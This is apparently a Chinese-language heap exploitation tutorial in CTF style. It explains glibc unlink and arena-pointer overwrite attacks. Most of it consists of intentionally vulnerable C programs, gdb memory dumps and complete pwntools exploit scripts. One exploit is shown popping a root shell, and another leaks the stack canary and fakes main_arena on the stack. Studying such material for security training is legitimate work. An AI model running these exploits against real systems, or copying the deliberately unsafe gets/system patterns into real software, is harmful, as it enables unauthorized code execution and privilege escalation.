非fastbinchunk在free的时候,会检查前后是否是freed,然后合并freed.

通过pre_size进入到前一个chunk,然后将这个chunk从它的double-link list中unlink,unlink操作如下

#define unlink(P,BK,FD){
	FD = P ->fd;
	BK = P ->bk;
	if (FD->bk ! = P || BK -> fd != P)							//对前一个chunk进行检查,double link list指过去的那个chunk,是否指回来
		malloc_printerr (check_action,"corrupted d...",P);
	else{
		FD ->bk = BK;
		BK ->fd = FD;
	}
}
#include <stdio.h>
#include <stdlib.h>

int main(){
	void *p = malloc(130);//非fastbin,大于120
	void *q = malloc(130);
	void *r = malloc(130);
	free(p);
	free(q);
}

overwrite heap pointer

p ->fd =&p -0x18
p ->bk =&p -0x10

结果p = &p - 0x18,就是unlink操作让这个指针指向了它的前24个byte的地方

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char* cmd;			//指针

void sh(char *c){
	system(c);
}

int main(){
	char* ptr[8];		//8个长度为8的指针
	int size,n;
	
	setvbuf(stdout,0,_IONBF,0);
	memset(ptr,0,sizeof(ptr));		//指针置零
	cmd = malloc(128);
	
	while(1){
		fgets(cmd,128,stdin);			//输入写到指针位置
		if (!strncmp(cmd,"add",3)){		//前三个字节是否是add
			printf("Index: ");
			scanf("%d",&n);				//将index值写入n
			if (n>=0 && n<8){
				printf("Size: ");
				scanf("%d%*c",&size);	//将size写入size
				ptr[n] = malloc(size);
				printf("Data: ");
				gets(ptr[n]);
				
			} else{
				puts("out of bound");
			}
		} else if (!strncmp(cmd,"remove",6)){
			printf("Index: ");
			scanf("%d%*c",&n);				//将index写入index
			if (n>=0 && n<8 && ptr[n]){
				puts(ptr[n]);
				free(ptr[n]);				//free掉那个chunk
				ptr[n] = 0;					//指针置零
				
			} else {
				puts("nothing here");
			}
		} else {
			puts("unknow command");
		}
	}
	return 0;
}

cmd处位置如下

gdb-peda$ x/6gx 0x602010
0x602010:	0x000a65766f6d6572	0x0000000000000000
0x602020:	0x0000000000601090	0x0000000000601098		(fd,bk)

查看fd指向的那个chunk,其中的bk是否指了回来

gdb-peda$ x/4gx 0x0000000000601090
0x601090 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd82a0	0x00007ffff7dd84e0
0x6010a0 <completed.6355>:	0x0000000000000000	0x0000000000602010

再查看bk指向的那个chunk,其中的fd是否指了回来

gdb-peda$ x/4gx 0x0000000000601098
0x601098 <stdin@@GLIBC_2.2.5>:	0x00007ffff7dd84e0	0x0000000000000000
0x6010a8 <cmd>:	0x0000000000602010	0x0000000000000000

发现此时可以满足unlink条件,unlink操作之后&p指向了它的前24个byte地址处,然后我们通过fget再次覆盖&p,使它指向malloc,其中malloc地址如下

gdb-peda$ x/4i 0x400780
   0x400780 <malloc@plt>:	jmp    QWORD PTR [rip+0x2008e2]        # 	
   0x400786 <malloc@plt+6>:	push   0xa
   0x40078b <malloc@plt+11>:	jmp    0x4006d0

fget地址

0x400750 <fgets@plt>:	jmp    QWORD PTR [rip+0x2008fa]        # 0x601050
   0x400756 <fgets@plt+6>:	push   0x7
   0x40075b <fgets@plt+11>:	jmp    0x4006d0

最终exp

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']   #程序在在tmux中运行,

def add(index,size,data):
    p.sendline('add')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Data: ')
    p.sendline(data)

def remove(index):
    p.sendline('remove')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvline()

cmd = 0x600f48                  #指针位置,指向了buf
p = process('./unlinkmorty')
raw_input('#')
add(0,128,"A"*100)
add(1,128,"B"*100)
remove(0)
p.sendline("add\0AAAA"+p64(0)+p64(cmd-0x18)+p64(cmd-0x10))
p.recvuntil('Index: ')
p.sendline(str(2))
p.recvuntil('Size: ')
p.sendline(str(128))
p.recvuntil('Data: ')
p.sendline("C"*128+p64(272)+p64(0x90)+p64(0xafafafaf))     #padding+ pre_size + size + fd
remove(1)
p.sendline(p64(0x00007ffff7dd82a0)+p64(0x00007ffff7dd84e0)+p64(0)+p64(0x600f08))   #stdout,stdin,completed,&cmd     (0x600f08是malloc的前一个地址)
p.recvline()
p.sendline('add\0sh\0A'+p64(0x40086d))      #注意这里写了sh, 之后就是覆盖了malloc为sh
p.recvuntil('Index: ')
p.sendline(str(1))
p.recvuntil('Size: ')
p.sendline(str(int(0x600f0c)))          #这个就是sh的地址
p.interactive()

运行的结果

python exp.py 
[+] Starting local process './unlinkmorty': pid 13790
#
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root)=0(root)

mmap和arena

size超过0x21000,会改用mmap

平常使用的arena在内部的main_arena,malloc根据tls段上的指标,决定要使用的arena,mmap chunk overflow可以盖掉arena指针,我们可以伪造arena上的fastbin部分,这样下次malloc就可以获得伪造的chunk

#include <stdio.h>
#include <stdlib.h>

int main(){
        void *tmp = malloc(10);
        void *p = malloc(0x21000);
        void *q = malloc(0x21000);
        void *s = malloc(0x21000);
}

第一次

gdb-peda$ vmmap 
Start              End                Perm	Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p	mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp	/usr/lib64/ld-2.17.so
0x00007ffff7fe7000 0x00007ffff7fea000 rw-p	mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p	mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

第二次

gdb-peda$ vmmap 
Start              End                Perm	Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p	mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp	/usr/lib64/ld-2.17.so
0x00007ffff7fc5000 0x00007ffff7fea000 rw-p	mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p	mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

第三次

gdb-peda$ vmmap 
Start              End                Perm	Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p	mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp	/usr/lib64/ld-2.17.so
0x00007ffff7fa3000 0x00007ffff7fea000 rw-p	mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p	mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

第四次

gdb-peda$ vmmap 
Start              End                Perm	Name
0x00007ffff7dd6000 0x00007ffff7ddb000 rw-p	mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp	/usr/lib64/ld-2.17.so
0x00007ffff7f81000 0x00007ffff7fea000 rw-p	mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 rw-p	mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib64/ld-2.17.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib64/ld-2.17.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void sh(char *c){
	system(c);
}  

char cmd[1024];

int main(){
	char* ptr[8];			//8个长度为8的指针
	char magic[32];
	int size,n;
	
	setvbuf(stdout,0,_IONBF,0);
	memset(ptr,0,sizeof(ptr));		//ptr置零
	
	gets(magic);
	
	while(1){
		fgets(cmd,1024,stdin);				//从输入中读取到cmd中
		if (!strncmp(cmd,"add",3)){
			printf("Index: ");
			scanf("%d",&n);					//输入放到index
			if (n>=0 && n<8){
				printf("Size: ");
				scanf("%d%*c",&size);		//输入放到size中
				ptr[n] = malloc(size);
				printf("Data: ");
				gets(ptr[n]);				//输入放到Data中
			} else {
				puts("out of bound");
			}
		} else if (!strncmp(cmd,"print",5)){
			printf("Index: ");
			scanf("%d",&n);
			if (n>=0 && n<8 && ptr[n]){
				printf("Size: ");
				scanf("%d%*c",&size);
				write(1,ptr[n],size);
			}else {
				puts("nothing here");
			}
		} else if (!strncmp(cmd,"exit",4)){
			break;
		} else {
			puts("unknown command");
		}
	}
	return 0;		
}

编译gcc -g -fstack-protector arena_morty.c -o arena_morty

exp

from pwn import *

r = remote('127.0.0.1',4000)

def add(idx,sz,data):
    r.send('add\n')
    r.send(str(idx)+'\n')
    r.send(str(sz)+'\n')
    r.recvuntil('Data: ')
    r.send(data+'\n')

def prt(idx,sz):
    r.send('print\n')
    r.send(str(idx)+'\n')
    r.recvuntil('Size: ')
    r.send(str(sz)+'\n')
    return r.recvn(sz)

r.send(p64(0)+p64(0x72)+'\n')

cmd = 0x6010c0

add(0,0x21000,'')
z= prt(0,0x23a00)

for i in range(0,len(z),8):
    x= u64(z[i:i+8])
    if x!=0:
        print hex(i),hex(x)

r.interactive()

运行结果

python exp.py 
[+] Starting local process './arena_morty': pid 20016
0x21ff0 0xf
0x22000 0x1
0x22010 0x7fe84d3dd680
0x22018 0x1
0x23670 0x7fe84d1bdf20
0x23678 0x7fe84d1c1c20
0x23688 0x7fe84cf660c0
0x23690 0x7fe84cf65ac0
0x23698 0x7fe84cf669c0
0x236b8 0x7fe84d1bd620	<-main_arena
0x236f0 0x7fe84d3dd700
0x236f8 0x7fe84d3dc010
0x23700 0x7fe84d3dd700
0x23718 0xb637ec162804a00	<-canary
0x23720 0x9f94d0477d485075
0x239f0 0x7fff6d7012a0		<-stack pointer

gdb上验证main_arena位置

gdb-peda$ x/gx 0x7f8071561760
0x7f8071561760 <main_arena>:	0x0000000100000000

在stack pointer附近找

gdb-peda$ x/30gx 0x7fff6d7012a0-160
0x7fff6d701200:	0x0000000000000000	0x0000000000000000
0x7fff6d701210:	0x0000000000000000	0x0000000000000000
0x7fff6d701220:	0x0000000000000000	0x0000000000000000
0x7fff6d701230:	0x0000000000000000	0x0000000000000072
0x7fff6d701240:	0x00007fe84d1d1500	0x0000000000000000
0x7fff6d701250:	0x0000000000400b90	0x0b637ec162804a00	<-canary
0x7fff6d701260:	0x00007fff6d701350	0x0000000000000000
0x7fff6d701270:	0x0000000000000000	0x00007fe84ce417d3	<-return address
0x7fff6d701280:	0x0000000000000000	0x00007fff6d701358
0x7fff6d701290:	0x0000000100000000	0x0000000000400927
0x7fff6d7012a0:	0x0000000000000000	0xa08efa90a0eb3f29
0x7fff6d7012b0:	0x0000000000400820	0x00007fff6d701350
0x7fff6d7012c0:	0x0000000000000000	0x0000000000000000
0x7fff6d7012d0:	0x5f70207085eb3f29	0x5f5e63588ffd3f29
0x7fff6d7012e0:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/i 0x00007fe84ce417d3
   0x7fe84ce417d3 <__libc_start_main+384>:	jmp    0x7fe84ce4181e <__libc_start_main+459>

查看magic变量的位置r.send('AAAABBBB\n')

gdb-peda$ x/20gx 0x7ffde94b3b90-160
0x7ffde94b3af0:	0x0000000000000000	0x0000000000000000
0x7ffde94b3b00:	0x0000000000000000	0x0000000000000000
0x7ffde94b3b10:	0x0000000000000000	0x0000000000000000
0x7ffde94b3b20:	0x4242424241414141	0x0000000000400b00	<-magic 位置
0x7ffde94b3b30:	0x00007f54a140054a	0x0000000000000000
0x7ffde94b3b40:	0x0000000000400b90	0xa4b14aebb5622800	<-canary
0x7ffde94b3b50:	0x00007ffde94b3c40	0x0000000000000000
0x7ffde94b3b60:	0x0000000000000000	0x00007f54a10707d3	<-return address
0x7ffde94b3b70:	0x0000000000000000	0x00007ffde94b3c48
0x7ffde94b3b80:	0x0000000100000000	0x0000000000400927

把stack上的伪造的东西当成main_area

gdb-peda$ p/x *(struct malloc_state*)ar_ptr
$6 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x7ffd0d8cd3f0, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x0, 
  next_free = 0x0, 
  system_mem = 0x0, 
  max_system_mem = 0x0
}

fastbin[0]在stack上

gdb-peda$ x/4gx 0x7ffd0d8cd3f0
0x7ffd0d8cd3f0:	0x4242424241414141	0x0000000000000020
0x7ffd0d8cd400:	0x00007f3ac40d8500	0x0000000000000000

最终的exp

from pwn import *

#r = remote('127.0.0.1',4000)
r = process('./arena_morty')

def add(idx,sz,data):
    r.send('add\n')
    r.send(str(idx)+'\n')
    r.send(str(sz)+'\n')
    r.recvuntil('Data: ')
    r.send(data+'\n')

def prt(idx,sz):
    r.send('print\n')
    r.send(str(idx)+'\n')
    r.recvuntil('Size: ')
    r.send(str(sz)+'\n')
    return r.recvn(sz)

#r.send(p64(0)+p64(0x72)+'\n')
r.send('AAAABBBB'+p64(0x20|2)+'\n')

cmd = 0x6010c0

add(0,0x21000,'')
z= prt(0,0x23a00)

for i in range(0,len(z),8):
    x= u64(z[i:i+8])
    if x!=0:
        print hex(i),hex(x)
#raw_input('#')
stack = u64(z[0x239f0:0x239f0+8])
canary = u64(z[0x23718:0x23718+8])
print 'stack  '+hex(stack)
print 'canary  ' + hex(canary)
raw_input('#')
chunk = stack -112
arena_off = 0x236b8
#add(1,0x21000,'A'*0x22000 + z[:arena_off])

data = 'A'*0x22000 + z[:arena_off] + p64(cmd+16)
r.send('add'.ljust(16)+(p32(0)+p32(1)+p64(chunk))+ '\n')
r.send(str(1)+'\n')
r.send(str(0x21000)+'\n')
r.recvuntil('Data: ')
r.send(data+'\n')

rop = flat(
0xdeadbeef
		)

add(2,10,'A'*24 + p64(canary) + 'A'*24 + rop)

r.interactive()